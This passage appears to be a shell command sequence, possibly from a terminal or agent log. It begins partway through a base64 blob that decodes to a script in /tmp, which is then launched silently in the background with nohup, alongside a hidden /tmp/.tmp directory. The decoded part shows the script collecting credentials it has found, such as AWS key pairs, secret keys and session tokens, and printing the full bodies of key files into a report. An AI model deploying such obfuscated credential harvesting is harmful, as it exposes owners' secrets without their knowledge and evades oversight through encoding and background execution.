IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIycKICAgICAgY2FzZSAiJGMiIGluCiAgICAgICAgQVdTLUtFWVBBSVJ8QVdTLVNFQ1JFVHxBV1MtVE9LRU4pCiAgICAgICAgICBjYXNlICIkYyIgaW4KICAgICAgICAgICAgQVdTLUtFWVBBSVIpIGFsYmw9J0tFWSBQQUlSJyA7OwogICAgICAgICAgICBBV1MtU0VDUkVUKSAgYWxibD0nU0VDUkVUIEtFWScgOzsKICAgICAgICAgICAgQVdTLVRPS0VOKSAgIGFsYmw9J1NFU1NJT04gVE9LRU4nIDs7CiAgICAgICAgICBlc2FjCiAgICAgICAgICAjIHNwbGl0ICJhPWIgfCBjPWQgfCBlPWYiIGludG8gYWxpZ25lZCBrZXkvdmFsdWUgcm93cwogICAgICAgICAgc29ydCAtdSAiJFJELy5jYXRfJGMiIHwgYXdrIC1GJ1x0JyAtdiBhbGJsPSIkYWxibCIgJwogICAgICAgICAgICBORiAmJiAkMSE9IiIgewogICAgICAgICAgICAgIGlmICgkMSAhPSB2YWwpIHsKICAgICAgICAgICAgICAgIGlmICh2YWwhPSIiKSBwcmludCAiIgogICAgICAgICAgICAgICAgcHJpbnRmICIgIFslc11cbiIsIGFsYmwKICAgICAgICAgICAgICAgIG5mPXNwbGl0KCQxLCBwLCAiIFxcfCAiKQogICAgICAgICAgICAgICAgZm9yIChrPTE7IGs8PW5mOyBrKyspIHsKICAgICAgICAgICAgICAgICAgZXE9aW5kZXgocFtrXSwgIj0iKQogICAgICAgICAgICAgICAgICBpZiAoZXE+MCkgcHJpbnRmICIgICAgICAlLTE3cyAlc1xuIiwgc3Vic3RyKHBba10sMSxlcS0xKSwgc3Vic3RyKHBba10sZXErMSkKICAgICAgICAgICAgICAgICAgZWxzZSBwcmludGYgIiAgICAgICVzXG4iLCBwW2tdCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB2YWw9JDEKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgaWYgKCQyIT0iIikgcHJpbnRmICIgICAgICAgICAgPC0gJXNcbiIsICQyCiAgICAgICAgICAgIH0nCiAgICAgICAgICA7OwogICAgICAgIEtFWUZJTEUpCiAgICAgICAgICAjIHByaW50IHRoZSBmaWxlIEJPRFkgKHN0b3JlZCBpbiAkMyksIG5vdCBqdXN0IHRoZSBwYXRoCiAgICAgICAgICBhd2sgLUYnXHQnICchc2VlblskMV0rKyB7IHByaW50ICQxICJcdCIgJDIgIlx0IiAkMyB9JyAiJFJELy5jYXRfJGMiIFwKICAgICAgICAgIHwgd2hpbGUgSUZTPSQnXHQnIHJlYWQgLXIgX3BhdGggX3NyYyBfYmxvYjsgZG8KICAgICAgICAgICAgICBwcmludGYgJyAgPj4gJXNcbicgIiRfcGF0aCIKICAgICAgICAgICAgICBwcmludGYgJyAgICAgZnJvbSA6ICVzXG4nICIkX3NyYyIKICAgICAgICAgICAgICBpZiBbIC1uICIkX2Jsb2IiIF0gJiYgWyAtcyAiJF9ibG9iIiBdOyB0aGVuCiAgICAgICAgICAgICAgICBwcmludGYgJyAgICAgLS0tLTg8LS0tLSAlcyAtLS0tODwtLS0tXG4nICIkX3BhdGgiCiAgICAgICAgICAgICAgICBzZWQgJ3MvXi8gICAgIC8nICIkX2Jsb2IiCiAgICAgICAgICAgICAgICBwcmludGYgJyAgICAgLS0tLTg8LS0tLSBlbmQgLS0tLTg8LS0tLVxuJwogICAgICAgICAgICAgIGZpCiAgICAgICAgICAgIGRvbmUKICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgIHNvcnQgLXUgIiRSRC8uY2F0XyRjIiB8IGF3ayAtRidcdCcgJwogICAgICAgICAgICBORiAmJiAkMSE9IiIgewogICAgICAgICAgICAgIGlmICgkMSAhPSB2YWwpIHsgaWYgKHZhbCE9IiIpIHByaW50ICIiOyBwcmludGYgIiAgJXNcbiIsICQxOyB2YWw9JDEgfQogICAgICAgICAgICAgIGlmICgkMiE9IiIpIHByaW50ZiAiICAgICAgPC0gJXNcbiIsICQyCiAgICAgICAgICAgIH0nCiAgICAgICAgICA7OwogICAgICBlc2FjCiAgICBkb25lCiAgICBlY2hvCiAgICBlY2hvICcjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjJwogIGVsc2UKICAgIGVjaG8KICAgIGVjaG8gJ05vIGNyZWRlbnRpYWxzIGZvdW5kLicKICBmaQp9ID4gIiRSRVBPUlQiCmZvciBjIGluICRDQVRTOyBkbyBybSAtZiAiJFJELy5jYXRfJGMiOyBkb25lCnJtIC1mICIkUkQiLy5ibG9iLiogMj4vZGV2L251bGwKcm0gLWYgIiRSRCIvLm5vaXNlIDI+L2Rldi9udWxsCgplY2hvCmVjaG8gIj09PT09PT09PT09PT09PT09PT09IFJFU1VMVDogJFJFUE9SVCA9PT09PT09PT09PT09PT09PT09PSIKY2F0ICIkUkVQT1JUIgo= | base64 -d > /tmp/sa_en.sh
|
|
chmod +x /tmp/sa_en.sh
|
|
mkdir -p /tmp/.tmp
|
|
pkill -f sa_en.sh 2>/dev/null; sleep 1
|
|
nohup bash -c 'timeout 2400 bash /tmp/sa_en.sh > /tmp/sa_en.log 2>&1' >/dev/null 2>&1 </dev/null &
|
|
echo STARTED
|
|
else echo ALREADY_RUNNING; fi
|